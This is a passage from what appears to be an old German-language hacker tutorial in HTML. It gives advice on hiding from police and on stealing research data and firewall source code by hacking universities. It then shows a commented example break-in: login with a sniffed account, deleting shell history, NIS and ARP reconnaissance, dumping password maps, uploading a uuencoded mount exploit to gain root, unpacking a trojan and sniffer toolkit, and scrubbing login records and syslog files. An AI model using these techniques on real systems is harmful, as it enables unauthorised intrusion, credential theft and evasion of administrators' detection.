- ist so toetlich wie nuetzlich (andere Hacker akzeptieren dich sofort und
- sind etwas geschwaetziger dir gegenueber - um sich zu profilieren - aber
- wenn du erstmal so weit bist, dass du deine eigenen Exploits schreibst,
- dann bist du auf den groessten Teil der Hacker sowieso nicht mehr angewiesen,
- und den interessanten Rest triffst du nicht so einfach im IRC).
- <br>Nuetzlich sind hier sogenannte Redirector, die eine TCP Verbindung
- weiterleiten, was auch schon in der Hinsicht interessant ist, wenn man
- sich vor Attacken von anderen Hacker schuetzten will, wenn man auf dem
- IRC zuviel Aerger verursacht hat ;-))
- <br>Auch hier koenntest du natuerlich einen speziellen Account fuer's IRC
- benutzen.
- <br>Die Polizei fertig nachweislich Logs von den IRC Chats an. (Netguru
- haben sie so gefasst, und der war psychisch nicht darauf vorbereitet, haha)
- <br>Ach, lass einfach die Finger vom IRC.
- <br>Es waere cool, wenn sich mal `n paar von euch die Zeit nehmen wuerden
- um ein Crypto-IRC auf Basis von SSH aufzubauen.</ol>
- Ok, desweiteren solltest du dir Gedanken machen woher du den Source Code
- von kommerziellen Betriebssystemen bekommen koenntest. Die Quellen von
- Linux, *BSD und Solaris kannst du zum Glueck legal erwerben; Microsoft
- gibt den Source Code von NT an Unis weiter.
- <br>Jetzt musst du dich daran machen und versuchen Zugriff auf den Quellcode
- von diversen Firewalls und Intrusion-Detection-Systems zu erlangen - dabei
- helfen dir die privaten Exploits der Betriebssysteme deren Sourcen du gesammelt
- hast. Der Source Code der Gauntlet Firewall ist gegen etwas Geld zu haben
- (aber AFAIK nicht mehr von den neuen Version), davon mal abgesehen basiert
- der Code einiger Proxies auf dem des TIS-FWTK (was hingegen nichts kostet).
- <br>Erfahrungen mit dem Aufbau der gaengigen Firewall Produkte ist unerlaesslich.
- Du solltest als Nebenjob oder natuerlich auch hauptberuflich im IT-Sicherheitsbereich
- arbeiten um so legal und kostenlos Netzwerksicherheits-Systeme evaluieren
- zu koennen und somit deren Schwachstellen zu kennen.
- <br>Halte Ausschau nach Universitaeten und Forschungsinstitute, die im
- Computersicherheitsbereich Forschung betreiben und kopiere dir die Forschungsdaten,
- nachdem du sie gehackt hast. Es ist zwar nicht sehr wahrscheinlich, dass
- eine Doktorarbeit kommerziell vermarktet wird, aber der Typ, der die Arbeit
- verfasst hat, wird einen gut bezahlten Job bei einer grossen Firma bekommen
- und dort seine Systeme (weiter-)entwickeln. Diese Systeme basieren mit
- hoher Wahrscheinlichkeit zum grossen Teil auf Algorithmen und Quelltexten
- seiner Doktorarbeit... ;)
- <br>Nunja, grosse Forschungeinrichtungen werden versuchen, ihre System
- auf den Markt zu bringen (evtl. mit Hilfe einer groesseren Firma) und wenn
- man dann den Source eines weit verbreiteten Produkts besitzt, dann ist
- man Koenig. Das Lustige ist, dass solche Forschungsscheunen Studenten beschaeftigen
- um Geld zu sparen, und die haben meistens keine Ahnung von sicherer Programmierung
- oder/und bewahren Forschungsdaten, mit denen sie arbeiten muessen, ungeschuetzt
- auf ihren Windows-PCs auf.
- <br>In den USA arbeiten die Universitaeten oft mit der Regierung zusammen,
- dasselbe gilt fuer Japan, dort arbeiten Universitaeten, Konzerne und die
- Regierung handinhand - naja, was haetten wir sonst von unseren BORGs erwartet?
- Dieser Umstand macht es dir einfach die Firewalls der *.gov's und *.com's
- zu hacken.
- <br>Ich hoffe, du hast jetzt eine Vorstellung davon bekommen, was so abgeht...
- <p>Erfahrungen mit (digitalen) Tk-Anlagen und deren Sicherheitsproblematik
- ist unabdingbar. Es nuetzt nicht viel, wenn du eienen externen Remote-Zugang
- zu einer Wartungseinheit hackst und dann nichts damit anzufangen weisst.
- <p>Bla, bla, bla... genug mit dem "Kochbuch"!
- <br>
- <p><a NAME="a8"></a>
- <h3>
- <font color="#993399">Ein Blick ueber die Schulter</font></h3>
- <font color="#000000">Ok, beim Zugucken lernt man am Schnellsten.</font>
- <br><font color="#000000">Also hier folgt ein Beispielhack mit den entsprechenden
- Kommentaren.</font>
- <br><font color="#000000">Wir gehen mal davon aus, dass wir den Account
- gesniffed (oder sonstwie bekommen) haben und dass wir alle Massnahmen durchgefuehrt
- haben um unsere Praesenz auf dem Ausgangsrechner zu verbergen.</font> Desweiteren
- wird dir ganze Session natuerlich durch unser Terminalprogramm (kein IP)
- aufgezeichnet.
- <p><font color="#FF0000">source > finger @victim.domain.com</font>
- <br><font color="#FF0000">[]</font>
- <p><font color="#FF0000">Welcome to Linux version 2.0.33 at victim.domain.com
- !</font>
- <p><font color="#FF0000"> 6:21pm up 6:10h, 0 users,
- load average: 0.28, 0.11, 0.10</font>
- <p><font color="#FF0000"> No one logged in.</font>
- <p><font color="#FF0000">source ></font>
- <p><font color="#000000">So ka, es scheint keiner eingeloggt zu sein, aber
- wir werden es auf dem Rechner noch genauer ueberpruefen.</font>
- <p><font color="#FF0000">source > echo $SHELL</font>
- <br><font color="#FF0000">/bin/bash</font>
- <br><font color="#FF0000">source > unset USER</font>
- <br><font color="#FF0000">source > unset MAIL</font>
- <br><font color="#FF0000">source > unset HOME</font>
- <br><font color="#FF0000">source > unset PRINTER</font>
- <br><font color="#FF0000">source > telnet</font>
- <br><font color="#FF0000">telnet > o victim.domain.com</font>
- <br><font color="#FF0000">Trying 10.255.0.1...</font>
- <br><font color="#FF0000">Connected to localhost.</font>
- <br><font color="#FF0000">Escape character is '^]'.</font>
- <p><font color="#FF0000">Linux 2.0.33 (victim.domain.com) (ttyp4)</font>
- <br>
- <p><font color="#FF0000">victim login: johnny</font>
- <br><font color="#FF0000">Password:</font>
- <br><font color="#FF0000">Have a lot of fun...</font>
- <br><font color="#FF0000">Last login: Wed Jun 17 19:16:07 on tty3.</font>
- <br><font color="#FF0000">No mail.</font>
- <p>Die Environmentvariablen USER, MAIL, HOME, PRINTER und UID (wenn du
- unter X arbeitest, dann vergiss die Variablen XTERM und DISPLAY nicht)
- werden von <b>telnet</b> zu <b>telnetd</b> uebertragen, somit kann ein
- Admin Informationen ueber den Hackeraccount bekommen (z.B. mit <b>noshell</b>)
- was wir natuerlich nicht wollen. Aus diesem Grund loeschen wir diese Werte,
- leider ist UID read-only und kann nicht von uns geaendert werden - evtl.
- geht's ueber ein C-Program, welches ein voellig neues Environment konstruiert
- und anschliessend <b>telnet</b>, eine Shell oder was auch immer exec'd,
- ich hab' keine Ahnung.
- <br>Ein Bestandteil des Protokols der r-Tools (<b>rlogin</b>, <b>rcp</b>,
- <b>rsh
- </b>bzw.
- <b>remsh</b>
- etc) ist der lokale Username - es ist also von der Verwendung dieser Tools
- abzuraten.
- <br><font color="#000000">Vielleicht hast du dich gefragt warum wir <b>telnet</b>
- interaktiv benutzen, nungut, der Grund ist einfach: damit </font>verhindern
- wir, dass der Zielrechner in der Prozessliste von ´source' auftaucht.
- <p><font color="#FF0000">victim:/home/johnny > rlogin victim</font>
- <br><font color="#FF0000">Password:</font>
- <br><font color="#FF0000">Have a lot of fun...</font>
- <br><font color="#FF0000">Last login: Wed Jun 17 19:16:07 on ttyp4 from
- source.ass.com.</font>
- <br><font color="#FF0000">No mail</font>
- <br><font color="#FF0000">victim:/home/johnny > exit</font>
- <br><font color="#FF0000">rlogin: connection closed.</font>
- <br><font color="#FF0000">victim:/home/johnny > csh -f</font>
- <br><font color="#FF0000">victim % ls -altr</font>
- <br><font color="#FF0000">[...]</font>
- <br><font color="#FF0000">-rw------- 1 test
- users 450 Jul 6 11:38
- .bash_history</font>
- <br><font color="#FF0000">victim % unset HISTFILE</font>
- <br><font color="#FF0000">victim % cat /dev/zero > .bash_history</font>
- <br><font color="#FF0000">^C</font>
- <br><font color="#FF0000">victim % rm .bash_history</font>
- <p><font color="#000000">Ja, alles was wir hier gemacht haben ist unsere
- Spuren etwas zu verschleiern und das ohne root-Rechte. Durch <b>rlogin</b>
- (<b>telnet</b> geht natuerlich auch) koennen wir unseren Lastlog-Entry
- ueberschreiben und was absolut wichtig ist, ist dass das History-File geloescht
- wird; und um kein neues File zu erzeugen rufen wir die <b>csh</b> auf,
- die per default kein History-File erstellt (wenn der User die <b>csh</b>
- benutzt kannst du auch die Bourne-Shell <b>sh</b> verwenden, aber vorsicht,
- denn unter Linux z.B. ist </font><font color="#33FF33">/bin/sh</font><font color="#000000">ein
- <i>Link
- </i>auf
- </font><font color="#33FF33">/bin/bash</font><font color="#000000">).</font>
- <br><font color="#000000">Das History-File musst du unbedingt am Anfang
- deiner Sitzung loeschen, denn wenn der Admin dich bemerkt und einen <i>Hard-Link
- </i>auf
- das File macht, dann bleiben die Daten auf der HD erhalten und der Admin
- kann ueber den <i>Hard-Link</i> darauf zugreifen.</font>
- <br><font color="#000000">Falls <b>login</b> SUID root installiert ist,
- hast du die Moeglichkeit auch dein </font><font color="#33FF33">utmp</font><font color="#000000">[</font><font color="#33FF33">x</font><font color="#000000">]-Entry
- zu ueberschreiben, dazu</font> <font color="#000000">rufst du einfach <b>login</b>
- auf und loggst dich ein.</font>
- <p><font color="#FF0000">victim % w</font>
- <br> <font color="#FF0000"> 6:54pm up 6:43h,
- 1 users, load average: 0.08, 0.09, 0.08</font>
- <br><font color="#FF0000">USER TTY
- LOGIN@ IDLE JCPU PCPU WHAT</font>
- <br><font color="#FF0000">johnny ttyp4
- 6:35pm 0:01
- 0:00 0:00
- w</font>
- <p><font color="#FF0000">victim % ps au</font>
- <br><font color="#FF0000">USER PID %CPU %MEM VSZ
- RSS TT STAT START TIME COMMAND</font>
- <br><font color="#FF0000">root 144
- 0.0 0.1
- 800 24 1
- S 12:12
- 0:00 mingetty</font>
- <br><font color="#FF0000">root 145
- 0.0 0.0
- 800 8
- 2 S
- 12:12 0:00
- mingetty</font>
- <br><font color="#FF0000">root 146
- 0.0 0.1
- 800 28 3
- S 12:12
- 0:00 mingetty</font>
- <br><font color="#FF0000">root 147
- 0.0 0.0
- 800 0
- 4 SW 12:12
- 0:00 mingetty</font>
- <br><font color="#FF0000">root 148
- 0.0 0.0
- 800 0
- 5 SW 12:12
- 0:00 mingetty</font>
- <br><font color="#FF0000">root 149
- 0.0 0.0
- 800 0
- 6 SW 12:12
- 0:00 mingetty</font>
- <br><font color="#FF0000">johnny 1641 0.0
- 4.6 1748 1064 p4
- S 18:35
- 0:00 -bash</font>
- <br><font color="#FF0000">johnny 1691 0.0
- 1.7 928 408
- p4 R
- 18:57 0:00
- ps au</font>
- <p><font color="#000000">Hier ueberpruefen wir nochmal genau ob nicht doch
- ein Admin eingeloggt ist, der <b>fingerd</b> modifiziert oder seine Eintraege
- aus </font><font color="#33FF33">w</font><font color="#000000">/</font><font color="#33FF33">utmp</font><font color="#000000">[</font><font color="#33FF33">x</font><font color="#000000">]
- geloescht hat. Wie es aussieht ist 'johnny' der einzige User, der online
- ist.</font>
- <p><font color="#FF0000">victim % domainname</font>
- <br><font color="#FF0000">korn.domain.nis</font>
- <br><font color="#FF0000">victim % ypwhich</font>
- <br><font color="#FF0000">chi</font>
- <br><font color="#FF0000">victim % ypcat ypservers</font>
- <br><font color="#FF0000">chi</font>
- <br><font color="#FF0000">fieldy</font>
- <p><font color="#000000">So, als erstes holen wir uns Infos ueber deren
- NIS. Den NIS-Domainname und den NIS-Server koennen wir spaeter benutzen
- um diverse NIS-Maps zu transferieren; z.B. die <i>Passwd-Map </i>nachdem
- wir rausgeflogen sind. NIS ist fast zu 100% in den Domains installiert.
- Nur wenige benutzen rdist, NIS+ oder DCE. Ein Program, das uns den Zugriff
- auf den NIS-Server ermoeglich heisst <b>ypx</b>.</font>
- <p><font color="#FF0000">victim% arp -a</font>
- <br><font color="#FF0000">fred.domain.com (10.255.0.4) at 00:C0:24:A4:3B:B2
- [ether] on eth0</font>
- <br><font color="#FF0000">bambam.domain.com (10.255.0.3) at 00:00:0C:A1:32:F2
- [ether] on eth0</font>
- <br><font color="#FF0000">hombre.domain.com (10.255.0.43) at 08:00:02:C1:FB:32
- [ether] on eth0</font>
- <br><font color="#FF0000">deep.domain.com (10.255.0.24) at 00:05:02:E1:12:B2
- [ether] on eth0</font>
- <br><font color="#FF0000">[...]</font>
- <p><font color="#000000">Ein kurzer Blick in den ARP Cache des Rechners
- zeigt uns welche Hardware im Netz verwendet wird. Die ersten drei Bytes
- der Ethernet-Adresse sind ein Indikator fuer den Hersteller der Netzkarte.</font>
- <br><font color="#000000">fred -> unbekannt, evtl. PC</font>
- <br><font color="#000000">bambam -> Cisco Router</font>
- <br><font color="#000000">hombre -> Sun Microsystems</font>
- <br><font color="#000000">deep -> Apple Mac.</font>
- <br><font color="#000000">Natuerlich gibt's noch andere bekannte Hersteller:
- HP, SGI, Cray...</font>
- <p><font color="#FF0000">victim% uname -a</font>
- <br><font color="#FF0000">Linux wallace 2.0.33 #4 Sun Jul 6 11:43:22 MEST
- 1998 686 unknown</font>
- <br><font color="#FF0000">victim % ypcat passwd</font>
- <br><font color="#FF0000">proj:FbxcM/NyIxf7w:501:100:Project Account:/home/proj:/bin/bash</font>
- <br><font color="#FF0000">test:x:502:100:Test Account:/home/test:/bin/bash</font>
- <br><font color="#FF0000">[...]</font>
- <p><font color="#FF0000">victim % cat /etc/passwd</font>
- <br><font color="#FF0000">root:x:0:0:root:/root:/bin/bash</font>
- <br><font color="#FF0000">[...]</font>
- <p><font color="#FF0000">victim % ypcat group</font>
- <br><font color="#FF0000">root:x:0:root</font>
- <br><font color="#FF0000">bin:x:1:root,bin,daemon</font>
- <br><font color="#FF0000">daemon:x:2:</font>
- <br><font color="#FF0000">tty:x:5:</font>
- <br><font color="#FF0000">[...]</font>
- <p><font color="#FF0000">victim % cat /etc/group</font>
- <br><font color="#FF0000">root:x:0:root</font>
- <br><font color="#FF0000">bin:x:1:root,bin,daemon</font>
- <br><font color="#FF0000">daemon:x:2:</font>
- <br><font color="#FF0000">tty:x:5:</font>
- <br><font color="#FF0000">[...]</font>
- <p><font color="#FF0000">victim % ypcat hosts</font>
- <br><font color="#FF0000">127.0.0.1
- localhost</font>
- <br><font color="#FF0000">[...]</font>
- <p><font color="#FF0000">victim % cat /etc/hosts</font>
- <br><font color="#FF0000">127.0.0.1
- localhost</font>
- <br><font color="#FF0000">[...]</font>
- <p><font color="#FF0000">victim % cat /etc/syslog.conf</font>
- <br><font color="#FF0000"># /etc/syslog.conf - Configuration file for syslogd(8)</font>
- <br><font color="#FF0000">#</font>
- <br><font color="#FF0000"># For info about the format of this file, see
- "man syslog.conf".</font>
- <br><font color="#FF0000">#</font>
- <br><font color="#FF0000">#</font>
- <br><font color="#FF0000">#</font>
- <br><font color="#FF0000"># print most on tty10</font>
- <br><font color="#FF0000">kern.warn;*.err;authpriv.none /dev/tty10</font>
- <br><font color="#FF0000">*.emerg
- *</font>
- <br><font color="#FF0000">[...]</font>
- <p><font color="#FF0000">victim % cat /etc/inetd.conf</font>
- <br><font color="#FF0000"># See "man 8 inetd" for more information.</font>
- <br><font color="#FF0000">#</font>
- <br><font color="#FF0000"># If you make changes to this file, either reboot
- your machine or send the</font>
- <br><font color="#FF0000"># inetd a HUP signal:</font>
- <br><font color="#FF0000"># Do a "ps x" as root and look up the pid of
- inetd. Then do a</font>
- <br><font color="#FF0000"># "kill -HUP <pid of inetd>".</font>
- <br><font color="#FF0000"># The inetd will re-read this file whenever it
- gets that signal.</font>
- <br><font color="#FF0000">#</font>
- <br><font color="#FF0000"># <service_name> <sock_type> <proto>
- <flags> <user> <server_path> <args></font>
- <br><font color="#FF0000">#</font>
- <br><font color="#FF0000"># echo stream tcp
- nowait root internal</font>
- <br><font color="#FF0000"># echo dgram udp
- wait root internal</font>
- <br><font color="#FF0000"># discard
- stream tcp nowait root
- internal</font>
- <br><font color="#FF0000"># discard
- dgram udp wait root
- internal</font>
- <br><font color="#FF0000"># daytime
- stream tcp nowait root
- internal</font>
- <br><font color="#FF0000"># daytime
- dgram udp wait root
- internal</font>
- <br><font color="#FF0000"># chargen
- stream tcp nowait root
- internal</font>
- <br><font color="#FF0000"># chargen
- dgram udp wait root
- internal</font>
- <br><font color="#FF0000"># time stream tcp
- nowait root internal</font>
- <br><font color="#FF0000"># time dgram udp
- wait root internal</font>
- <br><font color="#FF0000">[...]</font>
- <p>Jetzt haben wir alle Informationen die wir benoetigen um die Log-Verwaltung
- zu analysieren und um unseren Zugriff zu festigen/wiederzuerlangen.
- <p><font color="#FF0000">victim % mkdir /tmp/".. "</font>
- <br><font color="#FF0000">victim % cd /tmp/".. "</font>
- <br><font color="#FF0000">victim % uudecode</font>
- <br><font color="#FF0000">begin 644 mexpl.gz</font>
- <br><font color="#FF0000">M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
- <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*(PD)"0D)"0D)</font>
- <br><font color="#FF0000">M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&]O;',@-"XR8B!C</font>
- <br><font color="#FF0000">M;VYF:6=U<F%T:6]N(&9I;&4)"2`@("`@(",*(PD@($-O<'ER:6=H="`H8RD@</font>
- <br><font color="#FF0000">M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I<RP@36%Y(#$Y.30)("`@("`@</font>
- <br><font color="#FF0000">M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C</font>
- <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
- <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&5R;2!C;VYF:6=U<F%T:6]N(&9I</font>
- <br><font color="#FF0000">M;&4@*%@@=VEN9&]W('-Y<W1E;2DN"B,@268@>6]U(&%R92!U<VEN9R!C;VQO</font>
- <br><font color="#FF0000">M<E]X=&5R;2!C;VYS:61E<B!C:&%N9VEN9R!,:6YU>$-O;G-O;&4@86YD"B,@</font>
- <br><font color="#FF0000">M0V]L;W)-;VYI=&]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&]R</font>
- <br><font color="#FF0000">[...]</font>
- <br><font color="#FF0000">victim % ls -altr</font>
- <br><font color="#FF0000">drwxr-xr-x 2 johnny users
- 1024 Jul 6 11:39 .</font>
- <br><font color="#FF0000">drwxrwxrwt 7 root
- root 1024 Jul 6 11:39
- ..</font>
- <br><font color="#FF0000">-rw-r--r-- 1 johnny users
- 2345 Jul 5 11:41 mexpl.gz</font>
- <br><font color="#FF0000">victim % gunzip *.gz</font>
- <br><font color="#FF0000">victim % chmod u+x mexpl</font>
- <br><font color="#FF0000">victim % mexpl</font>
- <br><font color="#FF0000">bash# whoami</font>
- <br><font color="#FF0000">root</font>
- <br><font color="#FF0000">bash# unset HISTFILE</font>
- <br><font color="#FF0000">bash# rm ~/.bash_history</font>
- <p><font color="#000000">Als erstes haben wir ein Arbeitsdirec. eingerichtet
- und anschliessend wurde das Binary eines mount-Exploits,</font>
- <br><font color="#000000">welches zuvor <b>uuencode</b>'d wurde, uebertragen.</font>
- <br><font color="#000000">Das Transferieren des Images ist recht simpel
- (Verwendung eines Terminalprog.s, keine PPP/IP Verbindung)</font>
- <br><font color="#FF0000">needle > uuencode mexpl.gz mexpl.gz > /dev/modem</font>
- <br><font color="#000000">Nur fuer den Fall, dass ich - aus welchen Gruenden
- auch immer - den Compiler einses Systems nicht benutzen kann, sammel ich
- von meinen Hackertools und Exploits die Binaries der verschiedenen Plattformen
- um sie wie oben gezeigt zu uebertragen.</font>
- <p><font color="#FF0000">bash# uudecode</font>
- <br><font color="#FF0000">begin 644 tools.tar.gz</font>
- <br><font color="#FF0000">M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
- <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*(PD)"0D)"0D)</font>
- <br><font color="#FF0000">M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&]O;',@-"XR8B!C</font>
- <br><font color="#FF0000">M;VYF:6=U<F%T:6]N(&9I;&4)"2`@("`@(",*(PD@($-O<'ER:6=H="`H8RD@</font>
- <br><font color="#FF0000">M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I<RP@36%Y(#$Y.30)("`@("`@</font>
- <br><font color="#FF0000">M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C</font>
- <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
- <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&5R;2!C;VYF:6=U<F%T:6]N(&9I</font>
- <br><font color="#FF0000">M;&4@*%@@=VEN9&]W('-Y<W1E;2DN"B,@268@>6]U(&%R92!U<VEN9R!C;VQO</font>
- <br><font color="#FF0000">M<E]X=&5R;2!C;VYS:61E<B!C:&%N9VEN9R!,:6YU>$-O;G-O;&4@86YD"B,@</font>
- <br><font color="#FF0000">M0V]L;W)-;VYI=&]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&]R</font>
- <br><font color="#FF0000">M0V]N<V]L92<@86YD("=#;VQO<DUO;FET;W(G(&%R92!B;W1H($].+"!;54E4</font>
- <br><font color="#FF0000">M>'AX+4-O;&]R70HC(&1E<V-R:7!T:6]N<R!W:6QL(&)E('5S960N"B,@("T@</font>
- <br><font color="#FF0000">M268@>6]U(&%R92!W;W)K:6YG(&]N(&$@3&EN=7@@<WES=&5M(&)U="!Y;W4@</font>
- <br><font color="#FF0000">[...]</font>
- <br><font color="#FF0000">bash# tar xvzf tools.tar.gz</font>
- <br><font color="#FF0000">searcher</font>
- <br><font color="#FF0000">smeagol_v4.4.4.tar</font>
- <br><font color="#FF0000">clear13b.c</font>
- <br><font color="#FF0000">su-trojan</font>
- <br><font color="#FF0000">linsniffer.c</font>
- <br><font color="#FF0000">srm.c</font>
- <br><font color="#FF0000">ifconfig</font>
- <br><font color="#FF0000">fix</font>
- <br><font color="#FF0000">askhandle</font>
- <br><font color="#FF0000">bash# gcc -o cb clear13b.c</font>
- <br><font color="#FF0000">bash# ./cb johnny</font>
- <br><font color="#FF0000">wtmp ... utmp ... lastlog ... Done!</font>
- <br><font color="#FF0000">Last entry cleared from user johnny</font>
- <br><font color="#FF0000">bash# w</font>
- <br><font color="#FF0000"> 3:28pm up 4:33h, 0 users,
- load average: 0.42, 0.15, 0.04</font>
- <br><font color="#FF0000">USER TTY
- LOGIN@ IDLE JCPU PCPU WHAT</font>
- <br><font color="#FF0000">bash#</font>
- <p>Ziiip!... Mit <b>clear13b</b> haben wir unsere aktuellen Eintraege aus
- <font color="#33FF33">w</font><font color="#000000">/</font><font color="#33FF33">utmp</font><font color="#000000">[</font><font color="#33FF33">x</font><font color="#000000">]</font>und
- <font color="#33FF33">lastlog</font>
- entfernt. Du solltest darauf aufpassen, dass dein Logcleaner keine Loecher
- in den Dateien, d.h. die Eintraege einfach mit '0' ueberschreibt, hinterlaesst,
- denn die koennen leicht von Programmen des CERT's entdeckt werden.
- <br>Auf <i>Process-Accounting </i>musst du auch acht geben, denn dadurch
- kann der Admin entdecken welche Programme du ausgefuehrt hast. Auch wenn
- die Programme nicht ungewoehnlich aussehen sollten ist es immer noch sehr
- auffaellig, wenn ein User, der keine Eintraege in den regulaeren Logfiles
- besitzt, ein Programm <font color="#000000">aufgerufen</font> hat.
- <br>Zum Glueck wird <i>Process-Accounting </i>nur selten benutzt, da das
- Logfile sehr schnell waechst. Das Logfile heisst <font color="#33FF33">acct</font>
- oder <font color="#33FF33">pacct</font> und befindet sich mit den anderen
- Logfiles im selben Direc..
- <br>Auf besonders schnellen/grossen Rechnern (Cray) ist das <i>Process-Accounting</i>
- fast immer aktiv, da hier die User fuer ihre Rechenzeit bezahlen muessen.
- <p><font color="#FF0000">bash# cd /var/log</font>
- <br><font color="#FF0000">bash# ls -altr</font>
- <br><font color="#FF0000">total 838</font>
- <br><font color="#FF0000">drwxr-xr-x 20 root
- root 1024 May 28 19:58
- ..</font>
- <br><font color="#FF0000">-rw-r----- 1 root
- root
- 0 May 28 21:01 news</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 199 May 28 21:12
- httpd.error_log</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root
- 0 May 28 21:14 httpd.access_log</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 3925 May 28 21:53
- Config.bootup</font>
- <br><font color="#FF0000">drwxr-xr-x 2 root
- root 1024 Jun 14 11:29
- .</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 1871 Jul 7 09:04
- boot.msg</font>
- <br><font color="#FF0000">-rw-r----- 1 root
- root 519707 Jul 7 09:04 warn</font>
- <br><font color="#FF0000">-rw-r----- 1 root
- root 15842 Jul 7 09:04
- mail</font>
- <br><font color="#FF0000">-rw------- 1 root
- root 24 Jul
- 7 13:42 faillog</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 16096 Jul 7 13:42
- lastlog</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 92454 Jul 7 13:42
- messages</font>
- <br><font color="#FF0000">-rw-rw-r-- 1 root
- tty 207984 Jul 7 13:42
- wtmp</font>
- <br><font color="#FF0000">bash# grep source.ass *</font>
- <br><font color="#FF0000">messages: Jul 7 13:42:39 wallace in.telnetd[401]:
- connect from source.ass.com</font>
- <br><font color="#FF0000">bash# fuser messages</font>
- <br><font color="#FF0000">messages:
- 85</font>
- <br><font color="#FF0000">bash# ps aux 85</font>
- <br><font color="#FF0000"> USER PID %CPU
- %MEM VSZ RSS TT STAT START
- TIME COMMAND</font>
- <br><font color="#FF0000">root
- 85 0.0
- 0.8 836
- 196 ? S
- 09:04 0:00 /usr/sbin/syslogd</font>
- <br><font color="#FF0000">bash# grep in.rlogind *</font>
- <br><font color="#FF0000">messages: Jul 7 13:41:56 wallace in.rlogind[384]:
- connect from johnny@victim.domain.com</font>
- <br><font color="#FF0000">bash# grep -v source.ass.com messages > m</font>
- <br><font color="#FF0000">bash# grep -v "Jul 7 13:41:56" m > messages</font>
- <br><font color="#FF0000">bash# cat /dev/zero > m</font>
- <br><font color="#FF0000">^C</font>
- <br><font color="#FF0000">bash# rm m</font>
- <br><font color="#FF0000">bash# ls -altr</font>
- <br><font color="#FF0000">total 838</font>
- <br><font color="#FF0000">drwxr-xr-x 20 root
- root 1024 May 28 19:58
- ..</font>
- <br><font color="#FF0000">-rw-r----- 1 root
- root
- 0 May 28 21:01 news</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 199 May 28 21:12
- httpd.error_log</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root
- 0 May 28 21:14 httpd.access_log</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 3925 May 28 21:53
- Config.bootup</font>
- <br><font color="#FF0000">drwxr-xr-x 2 root
- root 1024 Jun 14 11:29
- .</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 1871 Jul 7 09:04
- boot.msg</font>
- <br><font color="#FF0000">-rw-r----- 1 root
- root 519707 Jul 7 09:04 warn</font>
- <br><font color="#FF0000">-rw-r----- 1 root
- root 15842 Jul 7 09:04
- mail</font>
- <br><font color="#FF0000">-rw------- 1 root
- root 24 Jul
- 7 13:42 faillog</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 16096 Jul 7 13:42
- lastlog</font>
- <br><font color="#FF0000">-rw-rw-r-- 1 root
- tty 207984 Jul 7 13:42
- wtmp</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 92502 Jul 7 13:49
- messages</font>
- <p><font color="#000000">Hier haben wir uns die Syslog-Files nochmal genauer
- angesehen und unsere Spuren verwischt.</font>
- <br><font color="#000000">Mit <b>fuser</b> kannst du unter anderem die
- PID des Processes feststellen, welcher ein bestimmte Datei benutzt.</font>
- <br><font color="#000000">In diesem Fall gehoert, wie zu erwarten, die
- PID 85 zu <b>syslogd</b>. Wir benoetigen die PID um <b>syslogd</b> das
- HUP-Signal zu senden, welches <b>syslogd</b> veranlasst die Logfiles neu
- zu oeffnen. Dies ist noetig, weil <b>syslogd</b> sonst einen <i>Inode </i>benutzt
- zu dem es kein File mehr, in unserem Fall </font><font color="#33FF33">messages</font><font color="#000000">,
- im Verz.</font><font color="#33FF33"> /var/log</font><font color="#000000">
- existiert.</font>
- <br><font color="#000000">Das Dumme an der Sache ist nur, dass <b>syslogd</b>
- eine Restart-Message in die Logfiles schreibt.</font>
- <br><font color="#000000">Jetzt fragst du dich sicherlich: "Warum erzaehlt
- der Typ mir den ganzen Gammel und macht es dann selbst nicht?"</font>
- <br><font color="#000000">Die Antwort ist einfach: Wir erzeugen keinen
- neuen <i>Inode </i>indem wir die Daten kopieren und nicht moven. Somit
- vermeiden wir zusaetzlich die Restart-Message von <b>syslogd</b>.</font>
- <br><font color="#000000">Wenn <b>syslogd</b> wichtige Logs zur Console
- oder zu einem TTY schreibt (s. </font><font color="#33FF33">/etc/syslog.conf</font><font color="#000000">),
- dann kannst du mit:</font>
- <br><font color="#FF0000">bash# yes " " > /dev/console</font>
- <br><font color="#FF0000">^C</font>
- <br><font color="#000000">den Bildschirm loeschen.</font>
- <br><font color="#000000">Wenn Logs auf einem Printer</font> ausgedruckt
- werden, dann sieht's relativ schlecht aus. Entweder hoffst du, dass das
- Papier/das Farbband leer war oder, dass der Admin es nicht sieht. ;)
- <br>Es ist mit einiger Wahrscheinlichkeit auch moeglich das Papier um einige
